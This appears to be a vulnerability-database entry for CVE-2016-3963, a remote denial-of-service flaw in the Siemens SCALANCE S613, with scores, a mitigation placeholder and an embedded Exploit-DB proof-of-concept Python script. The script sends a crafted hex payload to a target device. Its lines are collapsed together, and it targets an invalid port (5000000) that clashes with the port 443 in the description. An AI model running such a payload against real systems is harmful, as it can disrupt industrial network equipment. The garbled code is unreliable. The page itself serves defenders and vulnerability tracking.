CVE-2016-3963

medium

Published 2016-04-08 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

5.3

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.3

Description

Siemens SCALANCE S613 allows remote attackers to cause a denial of service (web-server outage) via traffic to TCP port 443.

Predictions

Exploit likelihood

63%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44721 dos linux python · 1 KB

t4rkd3vilz · 2018-05-23

Siemens SCALANCE S613 - Remote Denial of Service

python exploit Source: Exploit-DB

 # Exploit Title: Siemens SCALANCE S613 - Remote Denial of Service 
# Date: 2018-05-23
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.siemens.com/
# Version: SCALANCE S613 (MLFB: 6GK5613-0BA00-2AA3): All versions.
# Tested on: Kali Linux
# CVE: CVE-2016-3963

#!/usr/bin/python

import socket import sys if len(sys.argv) < 2: print('Usage: ' +
sys.argv[0] + ' [target]') sys.exit(1) print('Sending packet to ' +
sys.argv[1] + ' ...') payload = bytearray('11 49 00 00 00 00 00 00 00 00 00
00 00 00 00 00 28 9E'.replace(' ', '').decode('hex')) sock =
socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.sendto(payload,
(sys.argv[1], 5000000))

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.